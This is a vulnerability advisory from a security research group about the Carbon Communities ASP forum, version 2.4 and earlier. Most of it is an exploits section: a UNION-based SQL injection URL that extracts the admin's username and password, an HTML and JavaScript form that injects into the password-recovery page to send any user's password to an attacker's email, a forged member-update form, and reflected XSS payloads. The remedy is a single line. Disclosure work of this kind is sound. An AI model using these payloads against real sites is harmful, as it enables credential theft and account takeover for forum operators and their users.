carboncom-multi.txt

`########################## www.BugReport.ir #######################################  
#  
# AmnPardaz Security Research Team  
#  
# Title: Multiple Vulnerabilities in Carbon Communities forum.   
# Vendor: www.carboncommunities.com  
# Vulnerable Version: 2.4 and prior versions  
# Exploit: Available  
# Impact: High  
# Fix: N/A  
# Original Advisory: http://bugreport.ir/index.php?/35  
###################################################################################  
  
  
####################  
1. Description:  
####################  
Carbon Communities is a high powered, fully scalable, and highly customizable online portal, message boards/ bulletin board, discussion hub, Private messaging, Event Calendars, Emails and chat software rolled into one.  
  
####################  
2. Vulnerability:  
####################  
2.1. There is a SQL Injection in "events.asp?id=[Injection]". By using it, attacker can gain usernames and passwords.  
2.1.1. POC:  
Check exploits section.  
2.2. There is a SQL Injection in "getpassword.asp". By using it, attacker can send any password to his/her email address.(exploit available)  
2.2.1. POC:  
Check exploits section.  
2.3. There is a SQL Injection in "option_Update.asp". By using it, attacker can update member info.(exploit available)  
2.3.1. POC:  
Check exploits section.  
2.4. There are some XSS in "login.asp" and "member_send.asp".  
2.4.1. POC:  
/login.asp?Redirect='><script>alert('XSS')</script><fake a='  
/member_send.asp?OrderBy='><script>alert('XSS')</script><fake a='  
####################  
3. Exploits:  
####################  
  
Original Exploit URL: http://bugreport.ir/index.php?/35/exploit  
  
3.1. Attacker can gain usernames and passwords:  
-------------  
http://[CarbonCommunitiesURL]/events.asp?ID=-1 union all select 1,1,1,'Username= '%2bmember_name%2b'<br>Password= '%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'  
-------------  
3.2. Attacker can send any password to his/her email address:  
-------------  
<script language="javascript">  
function check(){  
document.getElementById("UserName").value = "1' or uCase(Member_Name)='"+ document.getElementById("UserName").value  
}  
</script>  
<form action="http://[CarbonCommunitiesURL]/getpassword.asp" method="post" onsubmit="check()">  
UserName: <input type="text" name="UserName" id="UserName" value="default" size="100" />  
<br />  
EMail: <input type="text" name="EMail" value="Your Email Address" size="100" />  
<br />  
<input type="submit" />  
</form>  
-------------  
3.3. Attacker can update member info.:  
-------------  
<form action="http://[CarbonCommunitiesURL]/option_Update.asp?Action=edit" method="post">  
ID<input type="text" name="ID" value="1"/>  
<br />  
Member_Cookies<input type="text" name="Member_Cookies" value="Yes" />  
<br />  
Member_SystemCookies<input type="text" name="Member_SystemCookies" value="Yes" />  
<br />  
Member_Center<input type="text" name="Member_Center" value="1" />  
<br />  
Member_EmailTheadResponse<input type="text" name="Member_EmailTheadResponse" value="1" />  
<br />  
Member_EmailPostResponse<input type="text" name="Member_EmailPostResponse" value="1" />  
<br />  
Member_WeekStart<input type="text" name="Member_WeekStart" value="0" />  
<br />  
Member_ThreadDays<input type="text" name="Member_ThreadDays" value="0" />  
<br />  
Member_ThreadView<input type="text" name="Member_ThreadView" value="0" />  
<br />  
Member_Invisible<input type="text" name="Member_Invisible" value="1" />  
<br />  
Member_HiddenEmail<input type="text" name="Member_HiddenEmail" value="0" />  
<br />  
Member_ReceivePM<input type="text" name="Member_ReceivePM" value="1" />  
<br />  
Member_PMEmailNotice<input type="text" name="Member_PMEmailNotice" value="1" />  
<br />  
Member_PMPopup<input type="text" name="Member_PMPopup" value="1" />  
<br />  
Member_Newsletter<input type="text" name="Member_Newsletter" value="0" />  
<br />  
Member_TimeZone<input type="text" name="Member_TimeZone" value="0" />  
<br />  
Member_DefaultColor<input type="text" name="Member_DefaultColor" value="1" />  
<br />  
<input type="submit" />  
</form>  
-------------  
####################  
4. Solution:  
####################  
Edit the source code to ensure that inputs are properly sanitised.  
####################  
- Credit :  
####################  
AmnPardaz Security Research & Penetration Testing Group  
Contact: admin[4t}bugreport{d0t]ir  
WwW.BugReport.ir  
WwW.AmnPardaz.com  
`